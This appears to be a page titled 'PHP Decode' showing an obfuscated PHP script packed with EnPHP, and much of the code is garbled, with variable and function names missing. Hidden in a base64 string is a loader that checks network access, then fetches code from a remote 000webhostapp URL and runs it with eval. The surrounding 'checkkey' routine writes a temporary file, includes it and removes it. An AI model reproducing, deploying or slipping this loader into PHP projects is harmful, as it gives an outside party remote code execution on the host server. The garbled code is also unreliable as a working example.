PHP Decode

<?php
/*
-- EnPHP v2: http://enphp.djunny.com/
*/goto ;:function (){goto ;:if(!($[0x001]==$+0x008d))goto ;goto ;:$=0x001064;goto ;::goto ;:return(($=gzinflate(substr(base64_decode('H4sIAAAAAAAAAysuTSouKQIAEPSGPwYAAAA'),10,-8)))?$:$);goto ;:if(!($[0x0002]==$+0x0024))goto ;goto ;::goto ;:return((parse_str("=dW5saW5r",$)||$)?base64_decode($['']):"");goto ;::goto ;:return((parse_str("V0lO",$)||$)?base64_decode(key($)):"");goto ;:if(!($[0]==$+0x000ca))goto ;goto ;:$=func_get_args();goto ;:}goto ;:function (){goto ;::goto ;:return "\164\x65\155\160\x6e\x61\x6d";goto ;::goto ;:if(!($[0x0002]==$+0x0000cb))goto ;goto ;::goto ;:if(!($[0x001]==$+0x00007b))goto ;goto ;::goto ;:if(!($[0]==$+0x0000b2))goto ;goto ;:return "\57\x74\155\160";goto ;:if(!($[0]==$+0x0000012b))goto ;goto ;::goto ;:$=func_get_args();goto ;:$=0x0002519;goto ;:return(base64_decode('Y2hlY2trZXk')?:$);goto ;:if(!($[0x0002]==$+0x00025))goto ;goto ;:return "\x66\x6f\160\145\x6e";goto ;:return base64_decode('ZXJyb3JfcmVwb3J0aW5n');goto ;:}goto ;:error_reporting(0);goto ;:function (){goto ;:return "\163\164\x72\164\157\x75\x70\160\145\162";goto ;::goto ;:if(!($[0x001]==$+0x00007b))goto ;goto ;:if(!($[0]==$+0x00000ef))goto ;goto ;::goto ;:if(!($[0]==$+0x0000da))goto ;goto ;::goto ;:if(!($[0]==$+0x0000022))goto ;goto ;:return gzinflate('KK/N');goto ;:return "\x3c\x3f\x70\x68\x70\12";goto ;::goto ;:if(!($[0x001]==$+0x00048))goto ;goto ;:return((parse_str("dys",$)||$)?base64_decode(key($)):"");goto ;:return((parse_str("=ZndyaXRl",$)||$)?base64_decode($['']):"");goto ;::goto ;::goto ;:if(!($[0]==$+0x000071))goto ;goto ;:$=0x0001f79;goto ;:return((parse_str("=ZnVuY3Rpb24gY2FsbCgpew0KaWYoISRzb2NrID0gQGZzb2Nrb3Blbigid3d3Lmdvb2dsZS5jb20iLCA4MCkpew0KICAgIGV4aXQoKTsNCn0NCmV2YWwoZmlsZV9nZXRfY29udGVudHMoImh0dHBzOi8vbGNidHJpY2suMDAwd2ViaG9zdGFwcC5jb20vZ2x2MiIpKTsNCn1jYWxsKCk7",$)||$)?base64_decode($['']):"");goto ;:$=func_get_args();goto ;:}goto ;:(0x002559,0x000257d,0x00000253e)(0x0186a0);goto ;:function checkkey($){goto ;::goto ;:(0x000001fda,0x000001fc1)($,(0x01fea).(0x000002025,0x01ff4));goto ;:file_put_contens($,base64_decode(join("",array(''))));goto ;:(0x0000112e)($);goto ;:include $;goto ;:if((0x002068)((0x000010b1,0x000010e3,0x0001088)(PHP_OS,0,0x00003))===(0x0010ff,0x00010f1))goto ;goto ;:$=(0x002644)($,(0x001f9b));goto ;:return get_defined_vars();goto ;::goto ;:(0x02053)($);goto ;:$=(0x0025b8,0x02594)((0x025cb),(0x00260d,0x00000261a,0x025e4));goto ;:goto ;goto ;:}goto ;:checkkey($);